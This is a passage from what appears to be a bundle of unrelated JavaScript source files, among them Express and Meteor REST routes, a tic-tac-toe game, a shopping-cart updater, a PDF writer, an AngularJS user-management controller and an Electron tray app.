this.status = 410;
this.body = {message: '当前用户不存在'};
return ;
}
if (~(index = e_me.collect_book_list.indexOf(book_list_id))) {
e_me.collect_book_list.splice(index, 1);
yield e_me.save();
}
this.status = 200;
this.body = {message: '成功'};
} catch (e) {
console.log(e.stack);
this.status = 500;
}
};
|
import React from 'react';
import AllSkills from './allSkills'
import {connect} from 'react-redux'
class App extends React.Component {
state={
skills: []
}
componentDidMount(){
fetch('https://handy-dandy-app.herokuapp.com/skills',{
headers: {
'Authorization': `${localStorage.token}`
}
})
.then(res => res.json())
.then(skills => {
this.setState({skills})
this.props.addSkillsToReducer(skills)
})
}
render() {
return (
<div>
<AllSkills history={this.props.history} everyskill={this.state.skills}/>
</div>
)
}
}
const mapDispatchToProps = (dispatch) => {
return {
addSkillsToReducer: (skill) => {dispatch({type : "allSkills", payload:skill })}
}
}
export default connect(null, mapDispatchToProps)(App);
|
var HospitalAddress=require('../model/hospitalAddressModel');
exports.list_all_hospitalAddresses=function(req, res) {
HospitalAddress.getAllHospitalAddress(function(err, hospitalAddress) {
if (err) {
res.send(err);
}
console.log('res', hospitalAddress);
res.send(hospitalAddress);
});
};
exports.create_a_hospitalAddress= function(req, res) {
var newHospitalAddress = new HospitalAddress(req.body);
// handles null error
if (!newHospitalAddress.City || !newHospitalAddress.ZipCode) {
res.status(400).send({error: true, message: 'Please provide HospitalAddress Details'});
} else {
HospitalAddress.createHospitalAddress(newHospitalAddress, function(err, hospitalAddress) {
if (err) {
res.send(err);
}
res.json(hospitalAddress);
});
}
};
exports.read_a_hospitalAddress = function(req, res) {
HospitalAddress.getHospitalAddressById(req.params.id, function(err, hospitalAddress) {
if (err) {
res.send(err);
}
res.json(hospitalAddress);
});
};
exports.update_a_hospitalAddress = function(req, res) {
HospitalAddress.updateById(req.params.id, new HospitalAddress(req.body), function(err, hospitalAddress) {
if (err) {
res.send(err);
}
res.json(hospitalAddress);
});
};
exports.delete_a_hospitalAddress = function(req, res) {
HospitalAddress.remove( req.params.id, function(err, hospitalAddress) {
if (err) {
res.send(err);
}
res.json({message: 'Hospital Address successfully deleted'});
});
};
|
// defining my own IndexOf function for nodeLists
function getIndex(iterable,element){
var counter = 0
for (var i of iterable){
if (i == element){
return counter
}
counter ++;
}
}
// defining all the variables and constants
var gameOver = false;
const turn = document.querySelector(".turn")
let player = document.querySelector(".turn span");
const blocks = document.querySelectorAll(".block");
const board = document.querySelector(".board");
const xMarks = document.querySelectorAll(".block h1:nth-child(1)");
const oMarks = document.querySelectorAll(".block h1:nth-child(2)");
// setting all the marks to hidden
for (const x of xMarks){
x.style.display = "none"
}
for (const o of oMarks){
o.style.display = "none"
}
// checking if some of the player has won
function checkWin(matrix){
matrix = new Array([matrix[0].style.display,matrix[1].style.display,matrix[2].style.display],
[matrix[3].style.display,matrix[4].style.display,matrix[5].style.display],
[matrix[6].style.display,matrix[7].style.display,matrix[8].style.display])
if (matrix[0][0] == "block" && matrix[1][0] == "block" && matrix[2][0] == "block"){
setTimeout(function(){
blocks[0].style.background = "radial-gradient(circle, white 25%,lightblue,transparent 45%)";
blocks[3].style.background = "radial-gradient(circle, white 25%,lightblue,transparent 45%)";
blocks[6].style.background = "radial-gradient(circle, white 25%,lightblue,transparent 45%)";
},400)
gameOver = true;
return "over";
}
else if (matrix[0][0] == "block" && matrix[0][1] == "block" && matrix[0][2] == "block"){
setTimeout(function(){
blocks[0].style.background = "radial-gradient(circle, white 25%,lightblue,transparent 45%)";
blocks[1].style.background = "radial-gradient(circle, white 25%,lightblue,transparent 45%)";
blocks[2].style.background = "radial-gradient(circle, white 25%,lightblue,transparent 45%)";
},400)
gameOver = true;
return "over";
}
else if (matrix[2][0] == "block" && matrix[2][1] == "block" && matrix[2][2] == "block"){
setTimeout(function(){
blocks[6].style.background = "radial-gradient(circle, white 25%,lightblue,transparent 45%)";
blocks[7].style.background = "radial-gradient(circle, white 25%,lightblue,transparent 45%)";
blocks[8].style.background = "radial-gradient(circle, white 25%,lightblue,transparent 45%)";
},400)
gameOver = true;
return "over";
}
else if (matrix[0][2] == "block" && matrix[1][2] == "block" && matrix[2][2] == "block"){
setTimeout(function(){
blocks[2].style.background = "radial-gradient(circle, white 25%,lightblue,transparent 45%)";
blocks[5].style.background = "radial-gradient(circle, white 25%,lightblue,transparent 45%)";
blocks[8].style.background = "radial-gradient(circle, white 25%,lightblue,transparent 45%)";
},400)
gameOver = true;
return "over";
}
else if (matrix[1][0] == "block" && matrix[1][1] == "block" && matrix[1][2] == "block"){
setTimeout(function(){
blocks[3].style.background = "radial-gradient(circle, white 25%,lightblue,transparent 45%)";
blocks[4].style.background = "radial-gradient(circle, white 25%,lightblue,transparent 45%)";
blocks[5].style.background = "radial-gradient(circle, white 25%,lightblue,transparent 45%)";
},400)
gameOver = true;
return "over";
}
else if (matrix[0][1] == "block" && matrix[1][1] == "block" && matrix[2][1] == "block"){
setTimeout(function(){
blocks[1].style.background = "radial-gradient(circle, white 25%,lightblue,transparent 45%)";
blocks[4].style.background = "radial-gradient(circle, white 25%,lightblue,transparent 45%)";
blocks[7].style.background = "radial-gradient(circle, white 25%,lightblue,transparent 45%)";
},400)
gameOver = true;
return "over";
}
else if (matrix[0][0] == "block" && matrix[1][1] == "block" && matrix[2][2] == "block"){
setTimeout(function(){
blocks[0].style.background = "radial-gradient(circle, white 25%,lightblue,transparent 45%)";
blocks[4].style.background = "radial-gradient(circle, white 25%,lightblue,transparent 45%)";
blocks[8].style.background = "radial-gradient(circle, white 25%,lightblue,transparent 45%)";
},400)
gameOver = true;
return "over";
}
else if (matrix[0][2] == "block" && matrix[1][1] == "block" && matrix[2][0] == "block"){
setTimeout(function(){
blocks[2].style.background = "radial-gradient(circle, white 25%,lightblue,transparent 45%)";
blocks[4].style.background = "radial-gradient(circle, white 25%,lightblue,transparent 45%)";
blocks[6].style.background = "radial-gradient(circle, white 25%,lightblue,transparent 45%)";
},400)
gameOver = true;
return "over";
}
}
// looping over all of the blocks and adding them events
for (const block of blocks){
block.addEventListener("click", displayMark)
block.addEventListener("mouseover",previewMark)
block.addEventListener("mousemove",previewMark)
block.addEventListener("mouseleave",hidePreview)
}
// displaying the preview of the mark when mouse is over it
function previewMark(e){
var index = getIndex(blocks,this);
if (!gameOver){
if (oMarks[index].style.display == "none" && xMarks[index].style.display == "none"){
var playerMark = player.innerHTML;
if (playerMark == "X"){
xMarks[index].style.display = "flex";
xMarks[index].style.opacity = "30%"
}
else if (playerMark == "O"){
oMarks[index].style.display = "flex";
oMarks[index].style.opacity = "30%"
}
}
} else{
for (const block of blocks){
block.style.cursor = "auto";
}
}
}
// function for hiding the preview
function hidePreview(e){
var index = getIndex(blocks,this);
if (!gameOver){
if (xMarks[index].style.opacity == 0.3 && xMarks[index].style.display == "flex"){
xMarks[index].style.display = "none";
}
if (oMarks[index].style.opacity == 0.3 && oMarks[index].style.display == "flex"){
oMarks[index].style.display = "none";
}
}
}
// display each players mark when one of the blocks is clicked
function displayMark(e){
var index = getIndex(blocks,this);
if (!gameOver){
if (!(oMarks[index].style.display == "block") && !(xMarks[index].style.display == "block")){
var playerMark = player.innerHTML;
if (playerMark == "X"){
xMarks[index].style.opacity = "90%"
xMarks[index].style.display = "block";
xMarks[index].style.fontSize = "6rem"
blocks[index].style.cursor = "auto"
player.innerHTML = "O";
}
else if (playerMark == "O"){
oMarks[index].style.opacity = "90%"
oMarks[index].style.display = "block";
oMarks[index].style.fontSize = "6rem";
blocks[index].style.cursor = "auto"
player.innerHTML = "X";
}
let result = checkWin(xMarks);
if (result){
turn.innerHTML = `X has won!`
}
result = checkWin(oMarks);
if (result){
turn.innerHTML = `O has won!`
}
}
} else{
for (const block of blocks){
block.style.cursor = "auto";
}
}
}
|
let changeTables = function (event) {
var element = event.target;
if (element.tagName === 'A') {
if(element.parentElement.parentElement.tagName !=='LI'){
return;
}
event.preventDefault();
let quantity = element.parentElement.parentElement.children[1].children[0].value
let product_name = element.parentElement.parentElement.parentElement.children[0].children[0].children[0].innerHTML
let product_price = element.parentElement.parentElement.parentElement.children[0].children[1].innerHTML
let sum_product_before = element.parentElement.parentElement.children[1].children[2].innerHTML
let sum_before = document.getElementById('sum').innerHTML
let button_name = element.innerHTML
Swal.fire({
title: '',
text: "Haluatko varmasti tehdä muutoksia?",
icon: 'warning',
showCancelButton: true,
confirmButtonColor: '#3085d6',
cancelButtonColor: '#d33',
confirmButtonText: 'Kyllä!',
cancelButtonText: 'Peruuta'
}).then((result) => {
if (result.isConfirmed) {
let url = 'cancel_change_cart.php?quantity=' + quantity + '&product_name=' + product_name + '&product_price=' + product_price + '&button_name=' + button_name
fetch(url)
.then(function (response) {
return response.json();
}).then(function (data) {
if (data.result == "true") {
if (data.button == "delete") {
element.parentElement.parentElement.parentElement.remove();
document.getElementById('sum').innerHTML = parseFloat(sum_before) - parseFloat(sum_product_before)
document.getElementById('amount').innerHTML = parseFloat(document.getElementById('amount').innerHTML) - 1
}
if (data.button == "update") {
let sum_product = parseFloat(quantity * product_price).toFixed(2)
element.parentElement.parentElement.children[1].children[2].innerHTML = sum_product + '€'
document.getElementById('sum').innerHTML = parseFloat(sum_before) - parseFloat(sum_product_before) + parseFloat(sum_product)
}
Swal.fire({
title: '',
text: 'Muutoksia tehty.',
icon: 'success',
confirmButtonText: 'Sulje'
})
} else {
Swal.fire({
title: 'Anteeksi! Jotain meni pieleen.',
text: 'Yritä uudelleen.',
icon: 'error',
confirmButtonText: 'Sulje'
})
}
})
}
});
}
}
//document.addEventListener('DOMContentLoaded', populateTrainers);
document.addEventListener('click', changeTables);
//document.querySelector('#title').addEventListener('change', populateTrainers);
|
/**
* A PDF writer.
*/
var PDF = function(boundingBox) {
DocumentWriter.apply(this, arguments);
this.bbox = boundingBox;
this._doc.header = "%PDF-1.4";
this._doc.footer = "%%EOF";
};
PDF.prototype = Object.create(DocumentWriter.prototype);
PDF.prototype.constructor = PDF;
PDF.prototype._drawLine = function(line) {
var res = line.stroke.r/255 + " " + line.stroke.g/255 + " " + line.stroke.b/255 + " rg ";
res += line.src.x + " " + line.src.y + " m " + line.dst.x + " " + line.dst.y + " l s\n";
return res;
};
PDF.prototype._drawCircle = function(circle) {
// Build geometry
var c = 0.551915024494 * circle.radius;
var p = circle.pos;
var r = circle.radius;
var P = [
[p.x+c, p.y+r, p.x+r, p.y+c, p.x+r, p.y],
[p.x+r, p.y-c, p.x+c, p.y-r, p.x, p.y-r],
[p.x-c, p.y-r, p.x-r, p.y-c, p.x-r, p.y],
[p.x-r, p.y+c, p.x-c, p.y+r, p.x, p.y+r]
];
var geometry = [p.x, p.y+r].join(" ") + " m ";
for (var i=0; i<P.length; i++) {
geometry += P[i].join(" ") + " c ";
}
// Fill
var res = "";
if (circle.fill != null) {
res += circle.fill.r/255 + " " + circle.fill.g/255 + " " + circle.fill.b/255 + " rg ";
res += geometry + "F\n";
}
// Stroke
if (circle.stroke != null) {
res += circle.stroke.r/255 + " " + circle.stroke.g/255 + " " + circle.stroke.b/255 + " RG ";
res += geometry + " " + circle.strokeWidth + " w S\n";
}
return res;
};
PDF.prototype.make = function() {
var doc = "";
var objects = [];
function pad(num) {
var s = "0000000000" + num;
return s.substr(s.length-10);
}
function count() {
objects.push(doc.length);
}
// Header
doc = this._doc.header + "\n% Generated by " + this._doc.author + "\n\n";
// Add catalog
doc += "% Catalog\n";
count();
doc += "1 0 obj <</Type /Catalog /Pages 2 0 R>>\nendobj\n\n";
// Add pages
doc += "% Pages\n";
count();
doc += "2 0 obj <</Type /Pages /Kids [3 0 R] /Count 1>>\nendobj\n\n";
// Add first (only) page
doc += "% First (only) page\n";
count();
doc += "3 0 obj<</Type /Page /Parent 2 0 R /Resources null";
doc += "/MediaBox [0 0 " + this.bbox.width + " " + this.bbox.height + "] /Contents 4 0 R>>\nendobj\n\n";
// Primitives
// Create stream
var draw = "";
this._doc.elements.lines.forEach(function(l) {
draw += PDF.prototype._drawLine(l);
});
this._doc.elements.circles.forEach(function(c) {
draw += PDF.prototype._drawCircle(c);
});
// Add stream
doc += "% Primitives\n";
count();
doc += "4 0 obj\n";
doc += "<</Length " + draw.length + ">>\n";
doc += "stream\n";
doc += draw;
doc += "endstream\nendobj\n\n";
// Add cross reference table
count();
doc += "xref\n0 " + objects.length + "\n";
doc += "0000000000 65535 f\n";
for (var i=0; i<objects.length-1; i++) {
doc += pad(objects[i]) + " 00000 n\n";
}
// Add trailer
doc += "trailer <</Size " + objects.length + "/Root 1 0 R>>\nstartxref\n" + objects[objects.length-1] + "\n";
// Footer
doc += this._doc.footer;
return doc;
};
|
(function($) {
'use strict';
$.getJSON('/getMyhotel', function (data) {
console.log(data);
$("#ordertable tr").remove();
var template = `
<tr data-id="%(id)s">
<td scope="row">%(id)s</td>
<td>%(star)s</td>
<td>%(locality)s</td>
<td>%(street)s</td>
</tr>
`;
var i;
for(i = 0;i < data.length; ++i){
var tmp = sprintf(template, data[i]);
//console.log(tmp);
$("#ordertable").append(tmp);
}
$("#wholeordertable").Tabledit({
url: '/editMyhotel',
deleteButton: false,
editButton: true,
restoreButton: false,
buttons: {
delete: {
class: 'btn btn-sm btn-danger',
html: 'DELETE',
action: 'delete'
},
confirm: {
class: 'btn btn-sm btn-default',
html: 'Are you sure?'
},
edit: {
class: 'btn btn-sm btn-success',
html: 'EDIT',
action: 'edit'
},
},
columns: {
identifier: [0, "id"],
editable: [
[1, 'star'], [2, 'locality'], [3, 'street'],
]
},
onSuccess: function(data, textStatus, jqXHR) {
console.log('onSuccess(data, textStatus, jqXHR)');
console.log(data);
alert(data["msg"]);
console.log(textStatus);
console.log(jqXHR);
location.reload();
},
onFail: function(jqXHR, textStatus, errorThrown) {
console.log('onFail(jqXHR, textStatus, errorThrown)');
console.log(jqXHR);
console.log(textStatus);
console.log(errorThrown);
alert(errorThrown);
//alert("Edit Error! Page reloading..");
location.reload();
},
onAlways: function() {
console.log('onAlways()');
},
onAjax: function(action, serialize) {
console.log('onAjax(action, serialize)');
console.log(action);
console.log(serialize);
}
});
});
$(function() {
});
})(jQuery);
|
import registerComponent from '../../../core/component_registrator';
import SchedulerTimeline from './ui.scheduler.timeline';
import { getBoundingRect } from '../../../core/utils/position';
import { getIntervalDuration } from './utils/week';
var TIMELINE_CLASS = 'dx-scheduler-timeline-week';
export default class SchedulerTimelineWeek extends SchedulerTimeline {
_getElementClass() {
return TIMELINE_CLASS;
}
_getCellCount() {
return super._getCellCount() * this._getWeekDuration();
}
_getHeaderPanelCellWidth($headerRow) {
return getBoundingRect($headerRow.children().first().get(0)).width;
}
_getWeekDuration() {
return 7;
}
_needRenderWeekHeader() {
return true;
}
_incrementDate(date) {
date.setDate(date.getDate() + 1);
}
_getIntervalDuration() {
return getIntervalDuration(this.option('intervalCount'));
}
}
registerComponent('dxSchedulerTimelineWeek', SchedulerTimelineWeek);
|
angular.module("softtechApp")
.controller('UsersCtrl',['$scope','$http', '$dataFactory', 'DTOptionsBuilder', 'Notification','$filter',function($scope, $http, $dataFactory, DTOptionsBuilder, Notification,$filter){
$dataFactory.menuActive = "Usuarios";
// DataTables configurable options
$scope.dtOptions = DTOptionsBuilder.newOptions()
.withDisplayLength(10)
.withOption('bLengthChange', false)
.withOption('autoWidth', true)
.withOption('scrollY', "200px")
.withOption('oLanguage', {"sEmptyTable": "No hay datos..." })
.withOption('scrollCollapse', true);
//Functions
$scope.refresh = function(){
$scope.formOpt = false;
$scope.tablBtnsOpt = false;
$scope.formDetailsOpt = false;
$scope.addBtnOpt = true;
$scope.delBtnOpt = false;
$scope.itemObjectActived = {}; // Item got it from datatable
$scope.itemListSelected = {}; // Item got it from dropdown
// Get Data from server
$http.get('/v1/users').then(function(response){
$scope.items = response.data;
})
// Get routines from server
$http.get('/v1/routines').then(function(response){
$scope.itemsList = response.data;
})
};
// Activate Form to modify or add data
$scope.formActivate = function(item){
if(item != null){ // Update
$scope.itemObjectActived = item;
const dateAux = $filter('date')(item.fechaNacimiento, "MM/dd/yyyy");
$scope.itemObjectActived.fechaNacimiento = dateAux;
$scope.itemObjectActived.password = '';
$scope.itemObjectActived.isAdmin = $scope.itemObjectActived.tipo === 'admin' ? true : false;
}else{ // Insert
$scope.delBtnOpt = true;
}
$scope.formOpt = true;
$scope.tablBtnsOpt = true;
$scope.addBtnOpt = false;
};
// Activate Form to modify or add data
$scope.formDetailsActivate = function(item){
$scope.itemObjectActived = item;
const dateAux = $filter('date')(item.fechaNacimiento, "MM/dd/yyyy");
$scope.itemObjectActived.fechaNacimiento = dateAux;
$scope.formDetailsOpt = true;
$scope.addBtnOpt = false;
$scope.tablBtnsOpt = true;
};
$scope.validateEmptyData = function(item){
return softechUtil.validateEmptyData(item);
};
$scope.validateNumberData = function(item){
return softechUtil.validateDataNumber(item);
}
// Remove an item
$scope.removeItem = function(id){
$http.delete('/v1/users/'+id).then(function(response){
Notification.success({title:'Exitoso', message:'Removido exitosamente!'});
$scope.refresh();
}, function(error){
if(error.status === 400){
Notification.error({title:'Error', message:'Por favor verifique sus datos y vuelva a intentarlo!'});
}else if(error.status === 500){
Notification.error({title:'Error', message:'Ocurrio un error en el servidor, intentelo mas tarde!'});
}else{
Notification.error({title:'Error', message:'Error desconocido, refresque la pagina y vuelva a intentarlo!'});
}
console.log('Error: ' + error.data.message);
$scope.refresh();
});
};
// Add a new Item
$scope.addNewItem = function(){
var data = {
nombre: softechUtil.validateEmptyData($scope.itemObjectActived.nombre),
apellidos: softechUtil.validateEmptyData($scope.itemObjectActived.apellidos),
correo: softechUtil.validateEmptyData($scope.itemObjectActived.correo),
password: softechUtil.validateEmptyData($scope.itemObjectActived.password),
tipo: $scope.itemObjectActived.isAdmin ? 'admin' : 'user',
fechaNacimiento: softechUtil.validateEmptyData($scope.itemObjectActived.fechaNacimiento),
genero: softechUtil.validateEmptyData($scope.itemObjectActived.genero),
foto: softechUtil.validateEmptyData($scope.itemObjectActived.foto),
rutinas: $scope.itemObjectActived.rutinas
};
$http.post('/v1/users/', data).then(function(response){
Notification.success({title:'Exitoso', message:'Ingresado exitosamente!'});
$scope.refresh();
}, function(error){
if(error.status === 400){
Notification.error({title:'Error', message:'Por favor verifique sus datos y vuelva a intentarlo!'});
}else if(error.status === 500){
Notification.error({title:'Error', message:'Ocurrio un error en el servidor, intentelo mas tarde!'});
}else{
Notification.error({title:'Error', message:'Error desconocido, refresque la pagina y vuelva a intentarlo!'});
}
console.log('Error: ' + error.data.message);
$scope.refresh();
});
};
// Modify an existing item
$scope.updateItem = function(){
var data = {
nombre: softechUtil.validateEmptyData($scope.itemObjectActived.nombre),
apellidos: softechUtil.validateEmptyData($scope.itemObjectActived.apellidos),
correo: softechUtil.validateEmptyData($scope.itemObjectActived.correo),
tipo: $scope.itemObjectActived.isAdmin ? 'admin' : 'user',
fechaNacimiento: softechUtil.validateEmptyData($scope.itemObjectActived.fechaNacimiento),
genero: softechUtil.validateEmptyData($scope.itemObjectActived.genero),
foto: softechUtil.validateEmptyData($scope.itemObjectActived.foto),
rutinas:$scope.itemObjectActived.rutinas
};
$http.put('/v1/users/'+$scope.itemObjectActived._id, data).then(function(response){
Notification.success({title:'Exitoso', message:'Modificado exitosamente!'});
$scope.refresh();
}, function(error){
if(error.status === 400){
Notification.error({title:'Error', message:'Por favor verifique sus datos y vuelva a intentarlo!'});
}else if(error.status === 500){
Notification.error({title:'Error', message:'Ocurrio un error en el servidor, intentelo mas tarde!'});
}else{
Notification.error({title:'Error', message:'Error desconocido, refresque la pagina y vuelva a intentarlo!'});
}
console.log('Error: ' + error.data.message);
$scope.refresh();
});
};
// Compare if the action is an insert or update
$scope.confirmChanges = function(){
if(!$scope.delBtnOpt){
$scope.updateItem();
}else{
$scope.addNewItem();
}
};
// Add an item to routines array
$scope.addListItem = function(){
$scope.itemObjectActived.rutinas.push($scope.itemListSelected);
$scope.itemListSelected = {};
};
$scope.resetPassword = function(item){
$http.put('/v1/security/resetpwd/'+item._id).then(function(response){
Notification.success({title:'Exitoso', message:'Password reiniciado!'});
$scope.refresh();
}, function(error){
if(error.status === 400){
Notification.error({title:'Error', message:'Por favor verifique sus datos y vuelva a intentarlo!'});
}else if(error.status === 500){
Notification.error({title:'Error', message:'Ocurrio un error en el servidor, intentelo mas tarde!'});
}else{
Notification.error({title:'Error', message:'Error desconocido, refresque la pagina y vuelva a intentarlo!'});
}
console.log('Error: ' + error.data.message);
$scope.refresh();
});
};
// Remove an item from routines array
$scope.removeListItem = function(item){
var i = $scope.itemObjectActived.rutinas.indexOf(item);
if(i != -1) {
$scope.itemObjectActived.rutinas.splice(i, 1);
}
}
$scope.refresh();
}]);
|
var path = require("path");
var app = require("app");
var shell = require("shell");
var Menu = require("menu");
var Tray = require("tray");
var client = require("socket.io-client");
var request = require("request");
var tray = null;
var openedIconPath = path.join(__dirname, "images", "opened.jpg");
var closedIconPath = path.join(__dirname, "images", "closed.jpg");
app.on("ready", function() {
if (app.dock) {
app.dock.hide();
}
tray = new Tray(openedIconPath);
var contextMenu = Menu.buildFromTemplate([
{ label: "Open Heavensdoor Web", type: "normal", click: openHeavensdoor },
{ label: "Quit", type: "normal", click: app.quit }
]);
tray.setToolTip("Dokodemodoor for Mac");
tray.setContextMenu(contextMenu);
var socket = client("http://ficc-heavensdoor.herokuapp.com");
socket.on("update", function(flag) {
changeIcon(flag);
});
request("http://ficc-heavensdoor.herokuapp.com/params", function(error, response, body) {
if (!error && response.statusCode == 200) {
changeIcon(JSON.parse(body).value);
}
});
});
function changeIcon(flag) {
var isOpened = (flag === 1);
if (isOpened) {
tray.setImage(openedIconPath);
} else {
tray.setImage(closedIconPath);
}
}
function openHeavensdoor() {
shell.openExternal("http://ficc-heavensdoor.herokuapp.com");
}
|
export { default } from './footer-mobile';
|
/**
* Social Visual Communication, Copyright � Peter O'Toole All Rights Reserved
*
* @author Peter O'Toole peterjotoole@outlook.com
*
* @version 0.0.1
* @since 10/14/2014
*
*
* graphicManagement.js - Main business logic for handling graphics
*
*/
"use strict"
const express = require( "express" )
function retrieveRoutes() {
var router = express.Router()
router.get ( "/placeholder", placeholder )
return router
}
module.exports.retrieveRoutes = retrieveRoutes
function placeholder( request, response ) {
response.status( 200 ).send( "Stubbed API" )
}
|
/**
* Created by Phani on 9/28/2016.
*/
import {RestAPI} from "/imports/rest/restivus.js";
import * as Charts from "/imports/api/charts/charts.js";
import * as Graphs from "/imports/api/graphs/graphs.js";
import {validateGraph, getGraphWithoutLinks} from "/imports/api/graphs/methods.js";
import {getChart} from "/imports/api/charts/methods.js";
import * as RESTUtils from "/imports/rest/rest_utils.js";
import {postFeedback} from "/imports/api/sys/methods.js";
const RESPONSE_STATUS = "status";
const RESPONSE_MESSAGE = "message";
const RESPONSE_DATA = "data";
const RESPONSE_STATUS_SUCCESS = "success";
const RESPONSE_STATUS_ERROR = "error";
RestAPI.addRoute("sys/graph/:id", {
get: function () {
let id = this.urlParams.id;
console.log("GET sys/graph/" + id);
let graph = getGraphWithoutLinks.call(id);
let response = {};
if (!graph) {
response[RESPONSE_STATUS] = RESPONSE_STATUS_ERROR;
response[RESPONSE_MESSAGE] = "Graph not found: " + id;
return {
statusCode: 404,
body: response
}
} else {
response[RESPONSE_STATUS] = RESPONSE_STATUS_SUCCESS;
response[RESPONSE_DATA] = {
graph: graph
};
return response;
}
}
});
RestAPI.addRoute("sys/graph/validate", {
post: function () {
let flowchart = this.bodyParams.flowchart;
let graph = this.bodyParams.graph;
let response = {};
if ((!flowchart || flowchart[Charts.GRAPH_ID]) && !graph) {
response[RESPONSE_STATUS] = RESPONSE_STATUS_ERROR;
response[RESPONSE_MESSAGE] = "Graph not provided";
return {
statusCode: 404,
body: response
}
}
if (!graph) {
graph = flowchart[Charts.GRAPH_ID];
}
try {
validateGraph.call(graph);
response[RESPONSE_STATUS] = RESPONSE_STATUS_SUCCESS;
response[RESPONSE_DATA] = {
valid: valid,
errors: []
};
} catch (err) {
response[RESPONSE_STATUS] = RESPONSE_STATUS_SUCCESS;
response[RESPONSE_DATA] = {
valid: false,
errors: err.details
};
}
return response;
}
});
RestAPI.addRoute("sys/feedback", {
post: function () {
let response = {};
let userId = this.bodyParams.userId;
let text = this.bodyParams.text;
console.log("POST sys/feedback \"" + text + "\"");
try {
postFeedback.call({userId, text});
response[RESPONSE_STATUS] = RESPONSE_STATUS_SUCCESS;
response[RESPONSE_DATA] = {};
return response;
} catch (err) {
console.log(err);
response[RESPONSE_STATUS] = RESPONSE_STATUS_ERROR;
response[RESPONSE_MESSAGE] = "Failed to post feedback";
return {
statusCode: 400,
body: response
}
}
}
});
RestAPI.addRoute("sys/chart", {authRequired: true}, {
post: function () {
console.log("POST sys/chart");
let chart = this.bodyParams.flowchart;
let response = {};
if (chart && this.userId) {
// Convert inline graph into separate objs
// Override the owner to the admin
let graph = chart[Charts.GRAPH_ID];
chart[Charts.OWNER] = this.userId;
graph[Graphs.OWNER] = this.userId;
if (graph[Graphs.GRAPH_ID]) {
// ID given, check if it exists
if (Graphs.Graphs.findOne({_id: graph[Graphs.GRAPH_ID]})) {
response[RESPONSE_STATUS] = RESPONSE_STATUS_ERROR;
response[RESPONSE_MESSAGE] = "Graph with ID " + graph[Graphs.GRAPH_ID] + " already exists";
return {
statusCode: 400,
body: response
}
}
}
try {
validateGraph.call(graph);
}
catch (err) {
//Failed :(
response[RESPONSE_STATUS] = RESPONSE_STATUS_ERROR;
response[RESPONSE_MESSAGE] = err;
return {
statusCode: 400,
body: response
}
}
let graphId = Graphs.Graphs.insert(graph);
if (graphId) {
chart[Charts.GRAPH_ID] = graphId;
let chartId = Charts.Charts.insert(chart);
if (chartId) {
// Success
response[RESPONSE_STATUS] = RESPONSE_STATUS_SUCCESS;
response[RESPONSE_DATA] = {
flowchart: RESTUtils.formatChartForREST(getChart.call(chartId))
};
return response;
} else {
response[RESPONSE_STATUS] = RESPONSE_STATUS_ERROR;
response[RESPONSE_MESSAGE] = "Failed to insert the chart, but inserted the graph.";
return {
statusCode: 400,
body: response
}
}
} else {
response[RESPONSE_STATUS] = RESPONSE_STATUS_ERROR;
response[RESPONSE_MESSAGE] = "Failed to insert the graph.";
return {
statusCode: 400,
body: response
}
}
}
response[RESPONSE_STATUS] = RESPONSE_STATUS_ERROR;
response[RESPONSE_MESSAGE] = "No flowchart was provided";
return {
statusCode: 400,
body: response
}
}
});
|
const express = require('express');
const router = express.Router();
const Number = require('../models/Number')
/* GET home page. */
router.get('/',(req, res, next) => {
const promise = Number.find({});
promise.then((data) => {
res.json(data)
}).catch((err) => {
res.json(err)
});
});
router.get('/:number_id',(req, res, next) => {
const promise = Number.findById(req.params.number_id);
promise.then( (data) => {
res.json(data)
}).catch( (err) => {
res.json(err)
});
});
router.get('/tel/:number',(req, res, next) => {
const promise = Number.find({number: req.params.number});
promise.then( (data) => {
res.json(data)
}).catch( (err) => {
res.json(err)
});
});
router.put('/:number_id',(req, res, next) => {
const promise = Number.findByIdAndUpdate(req.params.number_id, req.body);
promise.then( (data) => {
res.json({
status : true,
data: req.body
})
}).catch( (err) => {
res.json(err)
});
});
router.delete('/:number_id',(req, res, next) => {
const promise = Number.findByIdAndRemove(req.params.number_id);
promise.then( (number) => {
res.json({
status : true
})
}).catch( (err) => {
res.json(err)
});
});
router.post('/', (req, res, next) => {
const number = new Number(req.body);
const promise = number.save();
promise.then((data)=>{
res.json(data)
}).catch((err) => {
res.json(err)
});
});
module.exports = router;
|
const customers = [
{
id: 1,
firstName: 'Nikola',
lastName: 'Markovic',
email: 'nikola@hotmail.com'
},
{
id: 2,
firstName: 'Viktor',
lastName: 'Markovic',
email: 'viktor@hotmail.com'
}
]
export default class CustomerService {
getAllCustomers () {
return customers
}
deleteCustomer (customer) {
customers.splice(customers.indexOf(customer), 1)
}
addCustomer (customer) {
customers.push(customer)
}
generateId () {
return Math.random().toString(36).substr(2, 9)
}
}
export const customerService = new CustomerService()
|
/**
* Copyright 2016 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
goog.provide('audioCat.audio.render.ExportingBeganEvent');
goog.require('audioCat.audio.render.EventType');
goog.require('audioCat.utility.Event');
/**
* An event fired when exporting a certain format begins.
* @param {audioCat.audio.render.ExportFormat} format The export format.
* @constructor
* @extends {audioCat.utility.Event}
*/
audioCat.audio.render.ExportingBeganEvent = function(format) {
goog.base(this, audioCat.audio.render.EventType.EXPORTING_BEGAN);
/**
* @private {audioCat.audio.render.ExportFormat}
*/
this.format_ = format;
};
goog.inherits(audioCat.audio.render.ExportingBeganEvent,
audioCat.utility.Event);
/**
* @return {audioCat.audio.render.ExportFormat} The export format.
*/
audioCat.audio.render.ExportingBeganEvent.prototype.getFormat = function() {
return this.format_;
};
|
/*弹出层*/
/*
参数解释：
title 标题
url 请求的url
id 需要操作的数据id
w 弹出层宽度（缺省调默认值）
h 弹出层高度（缺省调默认值）
*/
function x_admin_show(title,url,w,h){
window.location.href=url;
}
function x_top_show(title,url,w,h){
window.location.href=url;
}
|
'use strict'
// Controls
const $textfield = document.getElementById('text')
const $btnSpeak = document.getElementById('btnSpeak')
// Speak button texts
const startText = $btnSpeak.textContent
const pauseText = $btnSpeak.dataset.pause
const resumeText = $btnSpeak.dataset.resume
// On play
$btnSpeak.addEventListener('click', ev => {
ev.preventDefault()
if (!('speechSynthesis' in window))
return alert('Keine Sprachausgabe!')
const
rate = 1.25,
pitch = 1,
volume = 1
// Create new utterance
